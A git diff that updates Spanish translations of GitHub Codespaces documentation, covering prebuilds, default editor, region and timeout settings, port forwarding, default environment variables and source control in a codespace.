--- a/translations/es-ES/content/codespaces/customizing-your-codespace/index.md
+++ b/translations/es-ES/content/codespaces/customizing-your-codespace/index.md
@@ -1,6 +1,6 @@
 ---
-title: Customizing your codespace
-intro: '{% data variables.product.prodname_codespaces %} is a dedicated environment for you. You can configure your repositories with a dev container to define their default Codespaces environment, and personalize your development experience across all of your codespaces with dotfiles and Settings Sync.'
+title: Personalizar tu codespace
+intro: '{% data variables.product.prodname_codespaces %} es un ambiente dedicado para ti. Puedes configurar tus repositorios con un contenedor de dev para definir su ambiente predeterminado de Codespaces y personalizar tu experiencia de desarrollo a lo largo de tus codespaces con dotfiles y sincronización de ajustes.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -17,4 +17,4 @@ children:
   - /setting-your-timeout-period-for-codespaces
   - /prebuilding-codespaces-for-your-project
 ---
- 
+
diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md b/translations/es-ES/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md
index 0351991d3e..80e6884f55 100644
--- a/translations/es-ES/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md
+++ b/translations/es-ES/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md
@@ -1,6 +1,6 @@
 ---
-title: Prebuilding Codespaces for your project
-intro: You can configure your project to prebuild a codespace automatically each time you push a change to your repository.
+title: Pre-compilar Codespaces para tu proyecto
+intro: Puedes configurar tu proyecto para que pre-configure un codespace automáticamente cada que subes un cambio a tu repositorio.
 versions:
   fpt: '*'
   ghec: '*'
@@ -10,17 +10,17 @@ topics:
   - Set up
   - Fundamentals
 product: '{% data reusables.gated-features.codespaces %}'
-shortTitle: Prebuild Codespaces
+shortTitle: Precompilar Codespaces
 ---
 
 {% note %}
 
-**Note:** This feature is currently in private preview.
+**Nota:** Esta característica actualmente se encuentra en vista previa.
 
 {% endnote %}
 
-## About prebuilding a Codespace
+## Acerca de pre-compilar un Codespace
 
-Prebuilding your codespaces allows you to be more productive and access your codespace faster. This is because any source code, editor extensions, project dependencies, commands, or configurations have already been downloaded, installed, and applied before you begin your coding session. Once you push changes to your repository, {% data variables.product.prodname_codespaces %} automatically handles configuring the builds.
+El Pre-compilar tu codespace te permite ser más productivo y acceder a tu codespace más rápido. Esto es porque cualquier tipo de código fuente, extensiones de editor, dependencias de proyecto, comandos o configuraciones ya se habrán descargado, instalad y aplicado antes de que comiences tu sesión de desarrollo. Una vez que subes los cambios a tu repositorio, {% data variables.product.prodname_codespaces %} maneja automáticamente la configuración de compilaciones.
 
-The ability to prebuild Codespaces is currently in private preview. To get access to this feature, contact codespaces@github.com.
+La capacidad de pre-compilar un Codespace actualmente se encuentra en vista previa privada. Para obtener acceso a esta característica, contacta a codespaces@github.com.
diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md
index 9debd30369..b2adb3a9d9 100644
--- a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md
+++ b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md
@@ -1,6 +1,6 @@
 ---
-title: Setting your default editor for Codespaces
-intro: 'You can set your default editor for {% data variables.product.prodname_codespaces %} in your personal settings page.'
+title: Configurar tu editor predeterminado para Codesapces
+intro: 'Puedes configurar tu editor predeterminado para {% data variables.product.prodname_codespaces %} en tu página de ajustes personal.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -9,18 +9,15 @@ redirect_from:
   - /codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces
 topics:
   - Codespaces
-shortTitle: Set the default editor
+shortTitle: Configurar el editor predeterminado
 ---
 
-On the settings page, you can set your editor preference so that any newly created codespaces are opened automatically in either {% data variables.product.prodname_vscode %} for Web or the {% data variables.product.prodname_vscode %} desktop application.
+En la página de ajustes, puedes configurar las preferencias de tu editor para que los codespaces recién creados se abran automáticamente, ya sea en {% data variables.product.prodname_vscode %} para la Web o en {% data variables.product.prodname_vscode %} para escritorio.
 
-If you want to use {% data variables.product.prodname_vscode %} as your default editor for {% data variables.product.prodname_codespaces %}, you need to install {% data variables.product.prodname_vscode %} and the {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %}. For more information, see the [download page for {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) and the [{% data variables.product.prodname_github_codespaces %} extension on the {% data variables.product.prodname_vscode %} marketplace](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces).
+Si quieres utilizar {% data variables.product.prodname_vscode %} como tu editor predeterminado para {% data variables.product.prodname_codespaces %}, necesitas instalar {% data variables.product.prodname_vscode %} y la extensión de {% data variables.product.prodname_github_codespaces %} para {% data variables.product.prodname_vscode %}. Para obtener más información, consulta la [página de descarga de {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) y la [ extensión de {% data variables.product.prodname_github_codespaces %} en el mercado de {% data variables.product.prodname_vscode %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces).
 
-## Setting your default editor
+## Configurar tu editor predeterminado
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
-1. Under "Editor preference", select the option you want.
-   ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png)
-   If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_codespaces %} will automatically open in the desktop application when you next create a codespace. You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully.
-   ![Setting your editor](/assets/images/help/codespaces/launch-default-editor.png)
+1. Debajo de "Preferencia de editor", selecciona la opción que desees. ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png)Si eliges **{% data variables.product.prodname_vscode %}**, los {% data variables.product.prodname_codespaces %} se abrirán automáticamente en la aplicación de escritorio cuando crees el siguiente codespace. Podrías necesitar permitir acceso tanto a tu buscador como a {% data variables.product.prodname_vscode %} para que abra con éxito. ![Configurar tu editor](/assets/images/help/codespaces/launch-default-editor.png)
diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md
index cf9127a3d0..7d21d87adf 100644
--- a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md
+++ b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md
@@ -1,6 +1,6 @@
 ---
-title: Setting your default region for Codespaces
-intro: 'You can set your default region in the {% data variables.product.prodname_github_codespaces %} profile settings page to personalize where your data is held.'
+title: Configurar tu región predeterminada para Codespaces
+intro: 'Pues configurar tu región predeterminada en la página de ajustes de perfil de {% data variables.product.prodname_github_codespaces %} para personalizar en donde se guardan tus datos.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -9,15 +9,14 @@ redirect_from:
   - /codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces
 topics:
   - Codespaces
-shortTitle: Set the default region
+shortTitle: Configurar la región predeterminada
 ---
 
-You can manually select the region that your codespaces will be created in, allowing you to meet stringent security and compliance requirements. By default, your region is set automatically, based on your location.
+Puedes seleccionar manualmente la región en la que se crearán tus codespaces, permitiéndote cumplir con los requisitos de cumplimiento y seguridad estrictos. Predeterminadamente, tu región se configura automáticamente con base en tu ubicación.
 
-## Setting your default region
+## Configurar tu región predeterminada
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
-1. Under "Region", select the setting you want.
-2. If you chose "Set manually", select your region in the drop-down list.
-   ![Selecting your region](/assets/images/help/codespaces/select-default-region.png)
+1. Debajo de "Región", selecciona el ajuste que quieras.
+2. Si eliges "Configurar manualmente", selecciona tu región en el menú desplegable. ![Seleccionar tu región](/assets/images/help/codespaces/select-default-region.png)
diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
index 4ddd9466a3..b839342db2 100644
--- a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
+++ b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
@@ -18,29 +18,28 @@ A codespace will stop running after a period of inactivity. You can specify the
 
 {% endwarning %}
 
-## Setting your default timeout
-
-{% include tool-switcher %}
-
 {% webui %}
 
+## Setting your default timeout
+
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
-1. Under "Default idle timeout", enter the time that you want, then click **Save**. The time must be between 5 minutes and 240 minutes (4 hours).
-   ![Selecting your timeout](/assets/images/help/codespaces/setting-default-timeout.png)
+1. Under "Default idle timeout", enter the time that you want, then click **Save**. The time must be between 5 minutes and 240 minutes (4 hours). ![Selecting your timeout](/assets/images/help/codespaces/setting-default-timeout.png)
 
 {% endwebui %}
 
 {% cli %}
 
+## Setting your timeout period
+
 {% data reusables.cli.cli-learn-more %}
 
-To set the timeout period, use the `idle-timeout` argument with the `codespace create` subcommand. Specify the time in minutes, followed by `m`. The time must be between 5 minutes and 240 minutes (5 hours).
+To set the timeout period when you create a codespace, use the `idle-timeout` argument with the `codespace create` subcommand. Specify the time in minutes, followed by `m`. The time must be between 5 minutes and 240 minutes (4 hours).
 
 ```shell
 gh codespace create --idle-timeout 90m
 ```
 
-If you do not specify a timeout period when creating a codespace, then your default timeout period will be used. You cannot currently specify a default timeout period for all future codespaces through {% data variables.product.prodname_cli %}.
+If you don't specify a timeout period when you create a codespace, then the default timeout period will be used. For information about setting a default timeout period, click the "Web browser" tab on this page. You can't currently specify a default timeout period through {% data variables.product.prodname_cli %}.
 
 {% endcli %}
diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md
index ec200503de..faf49813cf 100644
--- a/translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md
+++ b/translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md
@@ -67,8 +67,6 @@ If you would like to create a codespace for a repository owned by your personal
 
 ## Creating a codespace
 
-{% include tool-switcher %}
-   
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -80,8 +78,11 @@ If you would like to create a codespace for a repository owned by your personal
 
    ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
 
-   If you are a member of an organization and are creating a codespace on a repository owned by that organization, you can select the option of a different machine type. From the dialog, choose a machine type and then click **Create codespace**.
-     ![Machine type choice](/assets/images/help/codespaces/choose-custom-machine-type.png)
+   If you are a member of an organization and are creating a codespace on a repository owned by that organization, you can select the option of a different machine type. From the dialog box, choose a machine type and then click **Create codespace**.
+
+   ![Machine type choice](/assets/images/help/codespaces/choose-custom-machine-type.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
 
 {% endwebui %}
    
diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
new file mode 100644
index 0000000000..b577e680c8
--- /dev/null
+++ b/translations/es-ES/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
@@ -0,0 +1,40 @@
+---
+title: Default environment variables for your codespace
+shortTitle: Variables de entorno predeterminadas
+product: '{% data reusables.gated-features.codespaces %}'
+permissions: '{% data reusables.codespaces.availability %}'
+intro: '{% data variables.product.prodname_dotcom %} sets default environment variables for each codespace.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Codespaces
+  - Fundamentals
+  - Developer
+---
+
+## About default environment variables
+
+{% data variables.product.prodname_dotcom %} sets default environment variables for every codespace. Commands run in codespaces can create, read, and modify environment variables.
+
+{% note %}
+
+**Note**: Environment variables are case-sensitive.
+
+{% endnote %}
+
+## List of default environment variables
+
+| Variable de entorno   | Descripción                                                                                                                                                                                                                                       |
+| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `CODESPACE_NAME`      | The name of the codespace For example, `monalisa-github-hello-world-2f2fsdf2e`                                                                                                                                                                    |
+| `CODESPACES`          | Always `true` while in a codespace                                                                                                                                                                                                                |
+| `GIT_COMMITTER_EMAIL` | The email for the "author" field of future `git` commits.                                                                                                                                                                                         |
+| `GIT_COMMITTER_NAME`  | The name for the "committer" field of future `git` commits.                                                                                                                                                                                       |
+| `GITHUB_API_URL`      | Devuelve la URL de la API. For example, `{% data variables.product.api_url_code %}`.                                                                                                                                                              |
+| `GITHUB_GRAPHQL_URL`  | Devuelve la URL de la API de GraphQL. For example, `{% data variables.product.graphql_url_code %}`.                                                                                                                                               |
+| `GITHUB_REPOSITORY`   | El nombre del repositorio y del propietario. Por ejemplo, `octocat/Hello-World`.                                                                                                                                                                  |
+| `GITHUB_SERVER_URL`   | Devuelve la URL del servidor de {% data variables.product.product_name %}. For example, `https://{% data variables.product.product_url %}`.                                                                                                       |
+| `GITHUB_TOKEN`        | A signed auth token representing the user in the codespace. You can use this to make authenticated calls to the GitHub API. For more information, see "[Authentication](/codespaces/codespaces-reference/security-in-codespaces#authentication)." |
+| `GITHUB_USER`         | The name of the user that initiated the codespace. Por ejemplo, `octocat`.                                                                                                                                                                        |
diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
index 1ceef28360..82b643d311 100644
--- a/translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
+++ b/translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
@@ -16,7 +16,7 @@ topics:
 shortTitle: Delete a codespace
 ---
 
- 
+
 
 {% data reusables.codespaces.concurrent-codespace-limit %}
 
@@ -26,8 +26,7 @@ shortTitle: Delete a codespace
 
 {% endnote %}
 
-{% include tool-switcher %}
-   
+
 {% webui %}
 
 1. Navigate to the "Your Codespaces" page at [github.com/codespaces](https://github.com/codespaces).
@@ -37,13 +36,13 @@ shortTitle: Delete a codespace
    ![Delete button](/assets/images/help/codespaces/delete-codespace.png)
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 {% data reusables.codespaces.deleting-a-codespace-in-vscode %}
 
 {% endvscode %}
-   
+
 
 {% cli %}
 
diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
index ed01105cf3..a2df7f1f7e 100644
--- a/translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
+++ b/translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
@@ -17,7 +17,7 @@ shortTitle: Forward ports
 
 ## About forwarded ports
 
-Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on a particular port in your codespace, you can forward that port. This allows you to access the application from the browser on your local machine for testing and debugging. 
+Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on a particular port in your codespace, you can forward that port. This allows you to access the application from the browser on your local machine for testing and debugging.
 
 When an application running inside a codespace prints output to the terminal that contains a localhost URL, such as `http://localhost:PORT` or `http://127.0.0.1:PORT`, the port is automatically forwarded. If you're using {% data variables.product.prodname_codespaces %} in the browser or in {% data variables.product.prodname_vscode %}, the URL string in the terminal is converted into a link that you can click to view the web page on your local machine. By default, {% data variables.product.prodname_codespaces %} forwards ports using HTTP.
 
@@ -29,8 +29,6 @@ You can also forward a port manually, label forwarded ports, share forwarded por
 
 You can manually forward a port that wasn't forwarded automatically.
 
-{% include tool-switcher %}
-   
 {% webui %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -47,12 +45,12 @@ You can manually forward a port that wasn't forwarded automatically.
 By default, {% data variables.product.prodname_codespaces %} forwards ports using HTTP but you can update any port to use HTTPS, as needed.
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
-1. Right click the port you want to update, then hover over **Change Port Protocol**. 
+1. Right click the port you want to update, then hover over **Change Port Protocol**.
   ![Option to change port protocol](/assets/images/help/codespaces/update-port-protocol.png)
 1. Select the protocol needed for this port. The protocol that you select will be remembered for this port for the lifetime of the codespace.
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -65,7 +63,7 @@ By default, {% data variables.product.prodname_codespaces %} forwards ports usin
    ![Text box to type port button](/assets/images/help/codespaces/port-number-text-box.png)
 
 {% endvscode %}
-   
+
 
 {% cli %}
 
@@ -74,7 +72,7 @@ By default, {% data variables.product.prodname_codespaces %} forwards ports usin
 To forward a port use the `gh codespace ports forward` subcommand. Replace `codespace-port:local-port` with the remote and local ports that you want to connect. After entering the command choose from the list of codespaces that's displayed.
 
 ```shell
-gh codespace ports forward <em>codespace-port</em>:<em>local-port</em> 
+gh codespace ports forward <em>codespace-port</em>:<em>local-port</em>
 ```
 
 For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_forward).
@@ -93,8 +91,6 @@ To see details of forwarded ports enter `gh codespace ports` and then choose a c
 
 If you want to share a forwarded port with others, you can either make the port private to your organization or make the port public. After you make a port private to your organization, anyone in the organization with the port's URL can view the running application. After you make a port public, anyone who knows the URL and port number can view the running application without needing to authenticate.
 
-{% include tool-switcher %}
-   
 {% webui %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -105,7 +101,7 @@ If you want to share a forwarded port with others, you can either make the port
 1. Send the copied URL to the person you want to share the port with.
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -116,7 +112,7 @@ If you want to share a forwarded port with others, you can either make the port
 1. Send the copied URL to the person you want to share the port with.
 
 {% endvscode %}
-   
+
 {% cli %}
 
 To change the visibility of a forwarded port, use the `gh codespace ports visibility` subcommand. {% data reusables.codespaces.port-visibility-settings %}
@@ -124,7 +120,7 @@ To change the visibility of a forwarded port, use the `gh codespace ports visibi
 Replace `codespace-port` with the forwarded port number. Replace `setting` with `private`, `org`, or `public`. After entering the command choose from the list of codespaces that's displayed.
 
 ```shell
-gh codespace ports visibility <em>codespace-port</em>:<em>setting</em> 
+gh codespace ports visibility <em>codespace-port</em>:<em>setting</em>
 ```
 
 You can set the visibility for multiple ports with one command. For example:
diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/index.md b/translations/es-ES/content/codespaces/developing-in-codespaces/index.md
index 0558dd88ff..64e671622b 100644
--- a/translations/es-ES/content/codespaces/developing-in-codespaces/index.md
+++ b/translations/es-ES/content/codespaces/developing-in-codespaces/index.md
@@ -15,6 +15,7 @@ children:
   - /using-codespaces-for-pull-requests
   - /deleting-a-codespace
   - /forwarding-ports-in-your-codespace
+  - /default-environment-variables-for-your-codespace
   - /connecting-to-a-private-network
   - /using-codespaces-in-visual-studio-code
   - /using-codespaces-with-github-cli
diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md b/translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
index 2f9f4c0cdc..ee8bb91c2e 100644
--- a/translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
+++ b/translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
@@ -36,28 +36,28 @@ Use the {% data variables.product.prodname_vs %} Marketplace to install the [{%
 {% mac %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**.
+1. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**.
 
    ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png)
 
-3. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
-4. Sign in to {% data variables.product.product_name %} to approve the extension.
+1. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
+1. Sign in to {% data variables.product.product_name %} to approve the extension.
 
 {% endmac %}
 
 {% windows %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Use the "REMOTE EXPLORER" drop-down, then click **{% data variables.product.prodname_github_codespaces %}**.
+1. Use the "REMOTE EXPLORER" drop-down, then click **{% data variables.product.prodname_github_codespaces %}**.
 
    ![The {% data variables.product.prodname_codespaces %} header](/assets/images/help/codespaces/codespaces-header-vscode.png)
 
-3. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**.
+1. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**.
 
    ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png)
 
-4. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
-5. Sign in to {% data variables.product.product_name %} to approve the extension.
+1. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
+1. Sign in to {% data variables.product.product_name %} to approve the extension.
 
 {% endwindows %}
 
@@ -68,8 +68,8 @@ Use the {% data variables.product.prodname_vs %} Marketplace to install the [{%
 ## Opening a codespace in {% data variables.product.prodname_vscode %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Under "Codespaces", click the codespace you want to develop in.
-3. Click the Connect to Codespace icon.
+1. Under "Codespaces", click the codespace you want to develop in.
+1. Click the Connect to Codespace icon.
 
    ![The Connect to Codespace icon in {% data variables.product.prodname_vscode %}](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png)
 
@@ -80,17 +80,23 @@ Use the {% data variables.product.prodname_vs %} Marketplace to install the [{%
 You can change the machine type of your codespace at any time.
 
 1. In {% data variables.product.prodname_vscode %}, open the Command Palette (`shift command P` / `shift control P`).
-2. Search for and select "Codespaces: Change Machine Type."
+1. Search for and select "Codespaces: Change Machine Type."
 
    ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-type-option.png)
 
-3. Click the codespace that you want to change.
+1. Click the codespace that you want to change.
 
    ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png)
 
-4. Choose the machine type you want to use. 
+1. Choose the machine type you want to use. 
 
-If the codespace is currently running, a message is displayed asking if you would like to restart and reconnect to your codespace now. Click **Yes** if you want to change the machine type used for this codespace immediately. If you click **No**, or if the codespace is not currently running, the change will take effect the next time the codespace restarts.
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
+
+1. If the codespace is currently running, a message is displayed asking if you would like to restart and reconnect to your codespace now.
+
+   Click **Yes** if you want to change the machine type used for this codespace immediately.
+   
+   If you click **No**, or if the codespace is not currently running, the change will take effect the next time the codespace restarts.
 
 ## Deleting a codespace in {% data variables.product.prodname_vscode %}
 
diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md b/translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
index 399ad2b384..089a99a913 100644
--- a/translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
+++ b/translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
@@ -157,7 +157,7 @@ For more information about the `gh codespace cp` command, including additional f
 
 ### Modify ports in a codespace
 
-You can forward a port on a codespace to a local port. The port remains forwarded as long as the process is running. To stop forwarding the port, press <kbd>control</kbd>+<kbd>c</kbd>.
+You can forward a port on a codespace to a local port. The port remains forwarded as long as the process is running. To stop forwarding the port, press <kbd>Control</kbd>+<kbd>C</kbd>.
 
 ```shell
 gh codespace ports forward <em>codespace-port-number</em>:<em>local-port-number</em> -c <em>codespace-name</em>
diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
index 9840e7b32f..b944ece509 100644
--- a/translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
+++ b/translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Using source control in your codespace
-intro: After making changes to a file in your codespace you can quickly commit the changes and push your update to the remote repository.
+title: Utilizar el control de código fuente en tu codespace
+intro: 'Después de hacer cambios en un archivo de tu codespace, puedes confirmar los cambios rápidamente y subir tu actualización al repositorio remoto.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -10,73 +10,68 @@ topics:
   - Codespaces
   - Fundamentals
   - Developer
-shortTitle: Source control
+shortTitle: Control origen
 ---
 
  
 
-## About source control in {% data variables.product.prodname_codespaces %}
+## Acerca del control de código fuente en {% data variables.product.prodname_codespaces %}
 
-You can perform all the Git actions you need directly within your codespace. For example, you can fetch changes from the remote repository, switch branches, create a new branch, commit and push changes, and create a pull request. You can use the integrated terminal within your codespace to enter Git commands, or you can click icons and menu options to complete all the most common Git tasks. This guide explains how to use the graphical user interface for source control.
+Puedes llevar a cabo todas las acciones de Git que necesites directamente dentro de tu codespace. Por ejemplo, puedes recuperar cambios del repositorio remoto, cambiar de rama, crear una rama nueva, confirmar y subir cambios y crear solicitudes de cambios. Puedes utilizar la terminal integrada dentro de tu codespace para ingresar comandos de Git o puedes hacer clic en los iconos u opciones de menú para completar las tareas más comunes de Git. Esta guía te explica cómo utilizar la interface de usuario gráfica para el control de código fuente.
 
-Source control in {% data variables.product.prodname_github_codespaces %} uses the same workflow as {% data variables.product.prodname_vscode %}. For more information, see the {% data variables.product.prodname_vscode %} documentation "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)."
+El control de fuentes en {% data variables.product.prodname_github_codespaces %} utiliza el mismo flujo de trabajo que {% data variables.product.prodname_vscode %}. Para obtener más información, consulta la sección de la documentación de {% data variables.product.prodname_vscode %} "[Utilizar el control de versiones en VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)".
 
-A typical workflow for updating a file using {% data variables.product.prodname_github_codespaces %} would be:
+Un flujo de trabajo típico para actualizar un archivo utilizando {% data variables.product.prodname_github_codespaces %} sería:
 
-* From the default branch of your repository on {% data variables.product.prodname_dotcom %}, create a codespace. See "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
-* In your codespace, create a new branch to work on.
-* Make your changes and save them.
-* Commit the change.
-* Raise a pull request.
+* Desde la rama predeterminada de tu repositorio en {% data variables.product.prodname_dotcom %}, crea un codespace. Consulta la sección "[Crear un codespace](/codespaces/developing-in-codespaces/creating-a-codespace)".
+* En tu codespace, crea una rama nueva para trabajar en ella.
+* Haz tus cambios y guárdalos.
+* Confirma el cambio.
+* Levanta una solicitud de cambios.
 
-## Creating or switching branches
+## Crear o cambiar de rama
 
 {% data reusables.codespaces.create-or-switch-branch %}
 
 {% tip %}
 
-**Tip**: If someone has changed a file on the remote repository, in the branch you switched to, you will not see those changes until you pull the changes into your codespace. 
+**Tip**: Si alguien cambió un archivo en el repositorio remoto, en la rama a la cual te cambiaste, no verás estos cambios hasta que los extraigas hacia tu codespace.
 
 {% endtip %}
 
-## Pulling changes from the remote repository
+## Extraer cambios del repositorio remoto
 
-You can pull changes from the remote repository into your codespace at any time. 
+Puedes extraer cambios del repositorio remoto hacia tu codespace en cualquier momento.
 
 {% data reusables.codespaces.source-control-display-dark %}
-1. At the top of the side bar, click the ellipsis (**...**).
-![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button.png)
-1. In the drop-down menu, click **Pull**.
+1. En la parte superior de la barra lateral, haz clic en los puntos suspensivos (**...**). ![Botón de puntos suspensivos para las acciones de "más" y "ver"](/assets/images/help/codespaces/source-control-ellipsis-button.png)
+1. En el menú desplegable, haz clic en **Extraer**.
 
-If the dev container configuration has been changed since you created the codespace, you can apply the changes by rebuilding the container for the codespace. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)."
+Si el la configuración del contenedor dev cambió desde que creaste el codespace, puedes aplicar los cambios si recompilas el contenedor para el codespace. Para obtener más información, consulta la sección "[Introducción a los contenedores dev](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)".
 
-## Setting your codespace to automatically fetch new changes 
+## Configurar tu codespace para que recupere los cambios nuevos automáticamente
 
-You can set your codespace to automatically fetch details of any new commits that have been made to the remote repository. This allows you to see whether your local copy of the repository is out of date, in which case you may choose to pull in the new changes. 
+Puedes configurar tu codespace para que recupere automáticamente los detalles de cualquier confirmación nueva que se haya hecho al repositorio remoto. Esto te permite ver si tu copia local del repositorio está desactualizada, en cuyo caso, podrías elegir extraer los cambios nuevos.
 
-If the fetch operation detects new changes on the remote repository, you'll see the number of new commits in the status bar. You can then pull the changes into your local copy.
+Si la operación de búsqueda detecta cambios nuevos en el repositorio remoto, verás la cantidad de confirmaciones nuevas en la barra de estado. Luego podrás extraer los cambios en tu copia local.
 
-1. Click the **Manage** button at the bottom of the Activity Bar.
-![Manage button](/assets/images/help/codespaces/manage-button.png)
-1. In the menu, slick **Settings**.
-1. On the Settings page, search for: `autofetch`.
-![Search for autofetch](/assets/images/help/codespaces/autofetch-search.png)
